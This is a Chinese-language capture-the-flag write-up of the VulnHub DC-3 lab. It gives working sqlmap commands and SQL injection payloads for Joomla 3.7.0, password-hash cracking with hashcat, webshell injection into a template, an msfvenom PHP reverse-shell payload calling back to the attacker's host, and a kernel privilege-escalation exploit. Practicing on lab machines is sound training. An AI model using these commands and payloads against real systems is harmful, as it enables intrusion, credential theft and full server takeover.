VulnHub | DC-3
环境
- VMware Workstation 15
- 靶机 DC-3
- 攻击机 Parrot
- 网段 192.168.136.0/24
扫描局域网
这次我不使用nmap
了,尝试使用arp-scan
探测局域网的主机
首先看攻击机的网卡
ifconfig
....
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.136.133 netmask 255.255.255.0 broadcast 192.168.136.255
inet6 fe80::6aa7:d472:2bf4:4676 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:9c:5e:99 txqueuelen 1000 (Ethernet)
RX packets 106 bytes 16726 (16.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 571 bytes 39664 (38.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
....
因为靶机与攻击机都是使用NAT模式,所以选择eth0
网卡
探测主机
sudo arp-scan --interface=eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:9c:5e:99, IPv4: 192.168.136.133
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.136.1 00:50:56:c0:00:08 VMware, Inc.
192.168.136.2 00:50:56:f3:f6:42 VMware, Inc.
192.168.136.137 00:0c:29:10:cc:af VMware, Inc.
192.168.136.254 00:50:56:e0:39:45 VMware, Inc.
5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.990 seconds (128.64 hosts/sec). 4 responded
探测到了很多主机,DC-3
主机的IP应该是192.168.136.137
扫描端口
拿到靶机IP之后,接着用nmap
扫一下端口,看看有什么服务开着
sudo nmap -sS -Pn -A -p- 192.168.136.137
收集到以下信息
- 开着80端口,运行着Web服务
- 中间件
Apache
,版本为2.4.18
Ubuntu
系统
访问Web服务
浏览器打开
点开Wappalyzer
发现以下信息
Joomla
CMS- 脚本语言
PHP
- 中间件
Apache 2.4.18
- 服务器
Ubuntu
与namp
扫出来的一致
接下康康主页内容,有一段简介,翻译看看
欢迎来到DC-3。
这次只有一个标志,一个入口点,没有任何线索。要获得该标志,您显然必须获得root特权。
如何生根取决于您-而且显然取决于系统。
祝您好运-我希望您喜欢这个小挑战。 :-)
主页还有一个登录框,就没有其他页面了
扫目录
扫目录,我这里就是用dirsearch
python3 dirsearch.py -u 192.168.136.137 -e php
筛选了一下
http://192.168.136.137/administrator # 登录页面
http://192.168.136.137/htaccess # htaccess文件内容
http://192.168.136.137/web.config.txt # web配置文件,应该是URL重写的配置
http://192.168.136.137/LICENSE.txt
http://192.168.136.137/README.txt
浏览了一下找出来的页面,进一步收集到了Jommla
版本
Jommla 3.7.0
CMS漏洞
没有任何线索,只能能找找该版本CMS有没有爆出什么漏洞了,有几种方式
随便一个都行,这次就来试试searchsploit
,第一次接触使用,非常:cow:,没有安装的先安装一波,非常推荐
searchsploit joomla 3.7.0
很幸运,找到一个SQL注入
漏洞,查看一下漏洞信息和利用方法
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
SQL注入
有Payload了,直接用SQLMap
跑了,这个注入点是list[fullordering]
这个参数,所以直接使用-p
指定这个参数注入了
sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering]
参数
- --risk 风险等级,共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
- --level 探测等级,共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
- -p 指定参数
- --random-agent 字面意思,随机Agent
- --dbs 查询数据库
然后根据常规操作,爆出数据库和表,就可以了
爆库
sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆表
选择joomladb
数据库,毫无疑问是CMS的数据库了,看看有什么表
sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables --hex
但是中间出了一个小插曲,就是爆出的表名不完整,可能因为表名太长了,可以在sqlmap
加上--hex
参数,把数据编码为hex就可以显示完整了
这里表太多了,就只截了一部分
爆数据
选择几个可能有利用价值的表爆数据,例如d8uea_users
,因为是报错型注入,应该不会耗费太多时间,就不爆字段了
sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T d8uea_users --dump --hex
爆出了用户名admin
和密码哈希值,反手拿到somd5.com,发现解不了,就先放放了
然后再选择几个表看看有什么,最后发现都貌似没什么用
然后尝试写入WebShell,看看当前是什么用户,看看是不是dba(Database Administrator)
sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --is-dba
结果返回True
使用--os-shell
,写入shell
sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --os-shell
在想用sqlmap写入shell之前,一直弄不到网站的物理路径,只能使用爆破的方法看看能不能行,可是都最后都是不行
尝试Session登录
于是在网上搜索Jommla
SQL注入漏洞的利用方法,找到了一篇利用SQL注入,爆出管理员Session,修改Cookie值,从而免密码登录后台,但是条件是管理员的Session没有过期,先不管了,爆出来看看再说
sqlmap -u "http://192.168.136.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T d8uea_session --dump --hex
发现都不是管理员的Session,基本都是游客的,于是陷入困境
突然想起users
表爆出的用户名和密码hash,想想能不能通过把数据库中password字段修改自己指定的hash值,搜索了很多关于Joomal
密码加密的文章,最后都以失败告终
到这我就没有任何办法了,看了一下大佬们到这一步怎么做的,噢,原来这hash可以破解的,***,看了几篇,大致有两个方法,都很:cow:,很值得记录
Hash破解
Johnny
Johnny是基于流行密码破解工具John the Ripper开发的跨平台开源GUI,有命令行的,名为john
把密码hash保存为一个文件,打开johnny
,直接命令行输入即可
johnny
打开保存hash值文件,选择start即可,很快就爆破出来了
Hashcat
hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等,下载地址https://hashcat.net,hashcat目前支持各类公开算法高达247类,市面上面公开的密码加密算法基本都支持!
文章参考FreeBuf
hashID
hashID是用Python3写成,它通过正则表达式可识别220多种hash类型。可识别的hash详情列表可以点这里。
hashID不仅可识别单个hash,还可解析单个文件中的hash,或者某目录下的多个文件中的hash。同时hashID还支持hashcat模式和JohnTheRipper格式输出。
尝试一下识别爆出来的hash值
hashid hash.txt
很快就识别出来了,接下来就使用Hashcat
字典攻击,更多用法参考FreeBuf的文章,很详细
想要字典攻击,首先要有个字典,刚刚那篇介绍Hashcat
文章中有推荐了两个字典网站,看writeup大佬使用安全系统中自带的字典rockyou.txt
,Kali
、Parrot
都有,位于/usr/share/wordlist/
,这个字典默认没有解压,先解压出来
sudo gunzip -d rockyou.txt.gz
再根据hashID
识别出来的Hash类型使用Hashcat
进行字典攻击
hashID
识别的hash类型为Blowfish(OpenBSD)
通过hashcat -h
过滤一下
hashcat -h | grep "Blowfish"
hashcat -m 3200 -a 0 -d 1 --force hash.txt /usr/share/wordlist/rockyou.txt
参数
- -m, —hash-type=NUM 哈希类别,其NUM值参考其帮助信息下面的哈希类别值,其值为数字。
- -a, –attack-mode=NUM 攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。
- --force 强制
- -d 选择OpenCl 使用什么驱动破解,CPU、GPU,如果多个使用逗号隔开
同样很快破解出来了,不过实战中还得看你的字典质量和运气
最终得出密码snoopy
登录后台
知道了用户名和密码后,登录后台,看看有什么可以利用的地方GetShell
Joomla
支持后台修改模板,可以利用这里getShell
在这里选择模板,我看第二个比较像主页,就选了第二个
有两种方法,一种就是模板中index.php写入,一句话木马;还有一种利用weevely
生成木马文件并连接,但实际过程中,我在使用第二种方法的时候,即使上传成功也不能连接成功
最后唯有把代码写入index.php文件中,我把一句话和weevely
生成的代码都写进入
GetShell
weevely
使用weevely
连接
AntSword
使用蚁剑连接
提权
在DC-3
靶机的描述中写道要有root权限才能看到最后的flag,所以我们需要提权
系统信息
想要提权首先要知道系统版本、使用内核各种信息
查看电脑以及操作系统相关信息
uname -a
查看内核版本
cat /proc/version
查看Linux系统版本
列出所有版本信息
lsb_release -a
该命令适用于所有的Linux发行版,包括RedHat、SUSE、Debian等等发行版,在Debian下要安装lsb
只适合RedHat系的Linux
cat /etc/redhat-release
- 适用于所有的Linux发行版
显示发行版本信息
cat /etc/issue
经过查询得出系统版本信息
- Linux 4.4.0-21 内核
- Ubuntu 16.04 LTS
检索EXP
根据这两个信息利用searchsploit
查找一下有没有提权exp
searchsploit linux 4.4 ubuntu 16.04 priv
图上的我基本都试过了,只有一个可以
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation | exploits/linux/local/39772.txt
其他那些Exp可能是因为我使用方法有问题导致不行
把EXP下载下来,解压,用蚁剑把exploit文件夹里面的文件上传到靶机
编译EXP
需要执行compile.sh
来编译exp,一开始compile.sh
是没有执行权限的,需要添加执行权限
chmod +x compile.sh
然后在执行,这里会出现Warning
,影响不大,忽略就好
最后直接执行./doubleput
,在蚁剑执行的时候发现无效,难道不是交互式Shell??或者还是什么?
经过检索发现有Python3,尝试使用Python3 生成一个交互式shell
python3 -c '__improt__("pty").spawn("/bin/bash")'
但是在蚁剑模拟终端上依然不行
使用weevely
试试,也不行,依然接收不到root的shell
最后我使用了msfvenom
生成了一个PHP木马,上传到靶机根目录
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.136.133 LPORT=4444 -f raw -o shell.php
msf设置payload接收shell
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.136.133 # 攻击机IP
run
此时在浏览器打开shell.php即可接收到meterpreter
的shell
在meterpreter
键入shell,进入Linux 终端,并不是交互式shell,使用Python反弹交互式shell
python3 -c '__import__("pty").spawn("/bin/bash")'
进入exp
目录,执行./doubleput
提权
成功提权
在/root
目录下找到flag
完结!